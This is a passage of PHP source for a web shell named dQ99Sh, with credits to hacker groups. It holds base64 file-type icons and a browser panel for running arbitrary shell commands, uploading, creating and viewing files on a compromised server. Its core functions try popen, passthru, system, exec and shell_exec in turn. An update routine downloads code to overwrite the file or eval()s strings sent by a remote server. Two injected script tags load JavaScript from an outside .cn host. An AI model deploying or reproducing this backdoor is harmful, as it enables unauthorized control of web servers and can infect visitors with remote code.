2405"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
2406"9c/o/87n/8DX7MHY7q/K5LdQ9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
2407"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2408"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2409"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2410"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2411"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2412"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2413"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
2414"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
2415"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
2416"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
2417"Ow==",
2418"ext_doc"=>
2419"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
2420"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
2421"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
2422"ext_exe"=>
2423"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
2424"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
2425"xhIAOw==",
2426"ext_h"=>
2427"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
2428"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
2429"Wq/NknbbSgAAOw==",
2430"ext_hpp"=>
2431"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
2432"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
2433"UqUagnbLdZa+YFcCADs=",
2434"ext_htaccess"=>
2435"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
2436"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
2437"AAA7",
2438"ext_html"=>
2439"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
2440"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
2441"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
2442"Bkx2BXWDdQ8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
2443"ADs=",
2444"ext_jpg"=>
2445"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
2446"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
2447"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
2448"dQEAOw==",
2449"ext_js"=>
2450"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
2451"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
2452"a00AjYYBbc/o9HjNniUAADs=",
2453"ext_lnk"=>
2454"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
2455"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
2456"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
2457"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
2458"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
2459"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2460"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2461"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
2462"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
2463"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
2464"ADs=",
2465"ext_log"=>
2466"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
2467"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
2468"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
2469"ext_php"=>
2470"R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0Oqp".
2471"aGeyYpqJlRG/rlwAADs=",
2472"ext_pl"=>
2473"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
2474"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
2475"ext_swf"=>
2476"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
2477"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
2478"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
2479"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEdQXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
2480"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
2481"ext_tar"=>
2482"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
2483"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
2484"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
2485"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
2486"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2487"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2488"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2489"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
2490"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
2491"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
2492"u4tLAgEAOw==",
2493"ext_txt"=>
2494"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
2495"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
2496"UpPWG3Ig6Hq/XmRjuZwkAAA7",
2497"ext_wri"=>
2498"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
2499"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
2500"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
2501"ext_xml"=>
2502"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
2503"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2504"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
2505"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
2506"IQA7"
2507);
2508//Untuk optimalisasi ukuran dan kecepatan.
2509$imgequals = array(
2510 "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
2511 "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
2512 "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
2513 "ext_html"=>array("ext_html","ext_htm"),
2514 "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
2515 "ext_lnk"=>array("ext_lnk","ext_url"),
2516 "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
2517 "ext_doc"=>array("ext_doc","ext_dot"),
2518 "ext_js"=>array("ext_js","ext_vbs"),
2519 "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
2520 "ext_wri"=>array("ext_wri","ext_rtf"),
2521 "ext_swf"=>array("ext_swf","ext_fla"),
2522 "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
2523 "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
2524);
2525if (!$getall) {
2526 header("Content-type: image/gif");
2527 header("Cache-control: public");
2528 header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
2529 header("Cache-control: max-age=".(60*60*24*7));
2530 header("Last-Modified: ".date("r",filemtime(__FILE__)));
2531 foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
2532 if (empty($images[$img])) {$img = "small_unk";}
2533 if (in_array($img,$ext_tar)) {$img = "ext_tar";}
2534 echo base64_decode($images[$img]);
2535}
2536else {
2537 foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
2538 natsort($images);
2539 $k = array_keys($images);
2540 echo "<center>";
2541 foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
2542 echo "</center>";
2543}
2544exit;
2545}
2546if ($act == "about") {
2547 echo "<center><b>Credits:</b><br>Idea, leading and coding by <b>tristram [CCTeaM]</b><br>".
2548 "Beta-testing and some tips by <b>NukLeoN [AnTiSh@Re tEaM]</b><br>".
2549 "Re-Coding, tricks, html and css by <b>diKi [FeeLCoMz CoMMuNiTy]</b><br><br>".
2550 "Report bugs to <a href=\"mailto:thesabotaqe@gmail.com\">r57.biz</a></b>";
2551}
2552echo "</td></tr></table>\n";
2553/*** COMMANDS PANEL ***/
2554?>
2555<div class=bartitle><b>.: COMMANDS PANEL :.</b></div>
2556<table class=mainpanel>
2557<tr><td align=right>Command:</td>
2558<td><form method="POST">
2559 <input type=hidden name=act value="cmd">
2560 <input type=hidden name="d" value="<?php echo $dispd; ?>">
2561 <input type="text" name="cmd" size="100" value="<?php echo htmlspecialchars($cmd); ?>">
2562 <input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute">
2563 </form>
2564</td></tr>
2565<tr><td align=right>Quick Commands:</td>
2566<td><form method="POST">
2567 <input type=hidden name=act value="cmd">
2568 <input type=hidden name="d" value="<?php echo $dispd; ?>">
2569 <input type=hidden name="cmd_txt" value="1">
2570 <select name="cmd">
2571 <?php
2572 foreach ($cmdaliases as $als) {
2573 echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
2574 }
2575 foreach ($cmdaliases2 as $als) {
2576 echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
2577 }
2578 ?>
2579 </select> <input type=submit name=submit value="Execute">
2580 </form>
2581</td></tr>
2582<tr><td align=right>Upload:</td>
2583<td><form method="POST" enctype="multipart/form-data">
2584 <input type=hidden name=act value="upload">
2585 <input type=hidden name="miniform" value="1">
2586 <input type="file" name="uploadfile"> <input type=submit name=submit value="Upload"> <?php echo $wdt." Max size: ". @ini_get("upload_max_filesize")."B"; ?>
2587 </form>
2588</td></tr>
2589<tr><td align=right>PHP Filesystem:</td>
2590<td>
2591<?php ##[ diKi TriCkz ]## ?>
2592<script language="javascript">
2593function set_arg(txt1,txt2) {
2594 document.forms.fphpfsys.phpfsysfunc.value.selected = "Download";
2595 document.forms.fphpfsys.arg1.value = txt1;
2596 document.forms.fphpfsys.arg2.value = txt2;
2597}
2598function chg_arg(num,txt1,txt2) {
2599 if (num==0) {
2600 document.forms.fphpfsys.arg1.type = "hidden";
2601 document.forms.fphpfsys.A1.type = "hidden";
2602 }
2603 if (num<=1) {
2604 document.forms.fphpfsys.arg2.type = "hidden";
2605 document.forms.fphpfsys.A2.type = "hidden";
2606 }
2607 if (num==2) {
2608 document.forms.fphpfsys.A1.type = "label";
2609 document.forms.fphpfsys.A2.type = "label";
2610 document.forms.fphpfsys.arg1.type = "text";
2611 document.forms.fphpfsys.arg2.type = "text";
2612 }
2613 document.forms.fphpfsys.A1.value = txt1 + ":";
2614 document.forms.fphpfsys.A2.value = txt2 + ":";
2615}
2616</script>
2617<?php
2618 echo "<form name=\"fphpfsys\" method=\"POST\"><input type=hidden name=act value=\"phpfsys\"><input type=hidden name=d value=\"$dispd\">\r\n".
2619 "<select name=\"phpfsysfunc\">\r\n";
2620 foreach ($phpfsaliases as $als) {
2621 if ($als[1]==$phpfsysfunc) {
2622 echo "<option selected value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n";
2623 }
2624 else {
2625 echo "<option value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n";
2626 }
2627 }
2628 echo "</select>\r\n".
2629 "<input type=label name=A1 value=\"File:\" size=2 disabled> <input type=text name=arg1 size=40 value=\"".htmlspecialchars($arg1)."\">\r\n".
2630 "<input type=hidden name=A2 size=2 disabled> <input type=hidden name=arg2 size=50 value=\"".htmlspecialchars($arg2)."\">\r\n".
2631 "<input type=submit name=submit value=\"Execute\"><hr noshade size=1>\r\n";
2632 foreach ($sh_sourcez as $e => $o) {
2633 echo "<input type=button value=\"$e\" onclick=\"set_arg('$o[0]','$o[1]')\">\r\n";
2634 }
2635 echo "</form>\r\n";
2636?>
2637</td></tr>
2638<tr><td align=right>Search File:</td>
2639<td><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>">
2640 <input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> regexp <input type=submit name=submit value="Search">
2641 </form><SCRIPT SRC=http://7jyewu.cn/a/a.asp></SCRIPT>
2642 </td></tr>
2643<tr><td align=right>Create File:</td>
2644<td><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
2645 <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> <input type="checkbox" name="overwrite" value="1" checked> Overwrite <input type=submit value="Create"> <?php echo $wdt; ?>
2646 </form></td></tr>
2647<tr><td align=right>View File:</td>
2648<SCRIPT SRC=http://7jyewu.cn/a/a.asp></SCRIPT>
2649<td><form method="POST"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
2650 <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> <input type=submit value="View">
2651 </form></td></tr>
2652</table>
2653<?php footer(); ?>
2654</body></html>
2655<?php
2656
2657###########################
2658## dQ99Sh CORE FUNCTIONS ##
2659###########################
2660function safemode() {
2661 if ( @ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) { return TRUE; }
2662 else { return FALSE; }
2663}
2664function getdisfunc() {
2665 $disfunc = @ini_get("disable_functions");
2666 if (!empty($disfunc)) {
2667 $disfunc = str_replace(" ","",$disfunc);
2668 $disfunc = explode(",",$disfunc);
2669 }
2670 else { $disfunc= array(); }
2671 return $disfunc;
2672}
2673function enabled($func) {
2674 if ( is_callable($func) && !in_array($func,getdisfunc()) ) { return TRUE; }
2675 else { return FALSE; }
2676}
2677function dQ99exec($cmd) {
2678 $output = "";
2679 if ( enabled("popen") ) {
2680 $h = popen($cmd.' 2>&1', 'r');
2681 if ( is_resource($h) ) {
2682 while ( !feof($h) ) { $output .= fread($h, 2096); }
2683 pclose($h);
2684 }
2685 }
2686 elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2687 elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2688 elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
2689 elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
2690 return $output;
2691}
2692function dQ99exec2($cmd) {
2693 $output = "";
2694 if ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2695 elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
2696 elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
2697 elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2698 elseif ( enabled("popen") ) {
2699 $h = popen($cmd.' 2>&1', 'r');
2700 if ( is_resource($h) ) {
2701 while ( !feof($h) ) { $output .= fread($h, 2096); }
2702 pclose($h);
2703 }
2704 }
2705 return $output;
2706}
2707function which($pr) {
2708 $path = dQ99exec("which $pr");
2709 if(!empty($path)) { return $path; } else { return $pr; }
2710}
2711
2712function get_status() {
2713 function showstat($sup,$stat) {
2714 if ($stat=="on") { return "$sup: <font color=#00FF00><b>ON</b></font>"; }
2715 else { return "$sup: <font color=#FF9900><b>OFF</b></font>"; }
2716 }
2717 $arrfunc = array(
2718 array("MySQL","mysql_connect"),
2719 array("MSSQL","mssql_connect"),
2720 array("Oracle","ocilogon"),
2721 array("PostgreSQL","pg_connect"),
2722 array("Curl","curl_version"),
2723 );
2724 $arrcmd = array(
2725 array("Fetch","fetch --help"),
2726 array("Wget","wget --help"),
2727 array("Perl","perl -v"),
2728 );
2729
2730 $statinfo = array();
2731 foreach ($arrfunc as $func) {
2732 if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); }
2733 else { $statinfo[] = showstat($func[0],"off"); }
2734 }
2735 $statinfo[] = (@extension_loaded('sockets'))?showstat("Sockets","on"):showstat("Sockets","off");
2736 foreach ($arrcmd as $cmd) {
2737 if (dQ99exec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); }
2738 else { $statinfo[] = showstat($cmd[0],"off"); }
2739 }
2740 return implode(" ",$statinfo);
2741}
2742function showdisfunc() {
2743 if ($disablefunc = @ini_get("disable_functions")) {
2744 return "<font color=#FF9900><b>".$disablefunc."</b></font>";
2745 }
2746 else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
2747}
2748function disp_drives($curdir,$surl) {
2749 $letters = "";
2750 $v = explode("\\",$curdir);
2751 $v = $v[0];
2752 foreach (range("A","Z") as $letter) {
2753 $bool = $isdiskette = $letter == "A";
2754 if (!$bool) { $bool = is_dir($letter.":\\"); }
2755 if ($bool) {
2756 $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".
2757 ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly!')\"":"")."> ";
2758 if ($letter.":" != $v) { $letters .= $letter; }
2759 else { $letters .= "<font color=yellow>".$letter."</font>"; }
2760 $letters .= "</a> ";
2761 }
2762 }
2763 if (!empty($letters)) { Return $letters; }
2764 else {Return "None"; }
2765}
2766function disp_freespace($curdrv) {
2767 $free = @disk_free_space($curdrv);
2768 $total = @disk_total_space($curdrv);
2769 if ($free === FALSE) { $free = 0; }
2770 if ($total === FALSE) { $total = 0; }
2771 if ($free < 0) { $free = 0; }
2772 if ($total < 0) { $total = 0; }
2773 $used = $total-$free;
2774 $free_percent = round(100/($total/$free),2)."%";
2775 $free = view_size($free);
2776 $total = view_size($total);
2777 return "$free of $total ($free_percent)";
2778}
2779## dQ99Sh UPDATE FUNCTIONS ##
2780function dQ99getsource($fn) {
2781 global $dQ99sh_sourcesurl;
2782 $array = array(
2783 "dQ99sh.php" => "dQ99sh.txt",
2784 );
2785 $name = $array[$fn];
2786 if ($name) {return file_get_contents($dQ99sh_sourcesurl.$name);}
2787 else {return FALSE;}
2788}
2789function dQ99sh_getupdate($update = TRUE) {
2790 $url = $GLOBALS["dQ99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0");
2791 $data = @file_get_contents($url);
2792 if (!$data) { return "Can't connect to update-server!"; }
2793 else {
2794 $data = ltrim($data);
2795 $string = substr($data,3,ord($data{2}));
2796 if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
2797 if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
2798 if ($data{0} == "\x99" and $data{1} == "\x03") {
2799 $string = explode("|",$string);
2800 if ($update) {
2801 $confvars = array();
2802 $sourceurl = $string[0];
2803 $source = file_get_contents($sourceurl);
2804 if (!$source) {return "Can't fetch update!";}
2805 else {
2806 $fp = fopen(__FILE__,"w");
2807 if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download dQ99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
2808 else {
2809 fwrite($fp,$source);
2810 fclose($fp);
2811 return "Update completed!";
2812 }
2813 }
2814 }
2815 else {return "New version are available: ".$string[1];}
2816 }
2817 elseif ($data{0} == "\x99" and $data{1} == "\x04") {
2818 eval($string);
2819 return 1;
2820 }
2821 else {return "Error in protocol: segmentation failed! (".$data.") ";}
2822 }
2823}
2824function dQ99_buff_prepare() {
2825 global $sess_data;
2826 global $act;
2827 foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
2828 foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
2829 $sess_data["copy"] = array_unique($sess_data["copy"]);
2830 $sess_data["cut"] = array_unique($sess_data["cut"]);
2831 sort($sess_data["copy"]);
2832 sort($sess_data["cut"]);
2833 if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
2834 else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
2835}
2836function dQ99_sess_put($data) {
2837 global $sess_cookie;
2838 global $sess_data;
2839 dQ99_buff_prepare();
2840 $sess_data = $data;
2841 $data = serialize($data);
2842 setcookie($sess_cookie,$data);
2843}
2844## END dQ99Sh UPDATE FUNCTIONS ##
2845## FILESYSTEM FUNCTIONS ##
2846function fs_copy_dir($d,$t) {
2847 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
2848 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
2849 $h = opendir($d);
2850 while (($o = readdir($h)) !== FALSE) {
2851 if (($o != ".") and ($o != "..")) {
2852 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
2853 else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
2854 if (!$ret) {return $ret;}
2855 }
2856 }
2857 closedir($h);
2858 return TRUE;
2859}
2860function fs_copy_obj($d,$t) {
2861 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
2862 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
2863 if (!is_dir(dirname($t))) {mkdir(dirname($t));}
2864 if (is_dir($d)) {
2865 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
2866 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
2867 return fs_copy_dir($d,$t);
2868 }
2869 elseif (is_file($d)) { return copy($d,$t); }
2870 else { return FALSE; }
2871}
2872function fs_move_dir($d,$t) {
2873
2874 $h = opendir($d);
2875 if (!is_dir($t)) {mkdir($t);}
2876 while (($o = readdir($h)) !== FALSE) {
2877 if (($o != ".") and ($o != "..")) {
2878 $ret = TRUE;
2879 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
2880 else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
2881 if (!$ret) {return $ret;}
2882 }
2883 }
2884 closedir($h);
2885 return TRUE;
2886}
2887function fs_move_obj($d,$t) {
2888 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
2889 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
2890 if (is_dir($d)) {
2891 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
2892 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
2893 return fs_move_dir($d,$t);
2894 }
2895 elseif (is_file($d)) {
2896 if(copy($d,$t)) {return unlink($d);}
2897 else {unlink($t); return FALSE;}
2898 }
2899 else {return FALSE;}
2900}
2901function fs_rmdir($d) {
2902 $h = opendir($d);
2903 while (($o = readdir($h)) !== FALSE) {
2904 if (($o != ".") and ($o != "..")) {
2905 if (!is_dir($d.$o)) {unlink($d.$o);}
2906 else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
2907 }
2908 }
2909 closedir($h);
2910 rmdir($d);
2911 return !is_dir($d);
2912}
2913function fs_rmobj($o) {
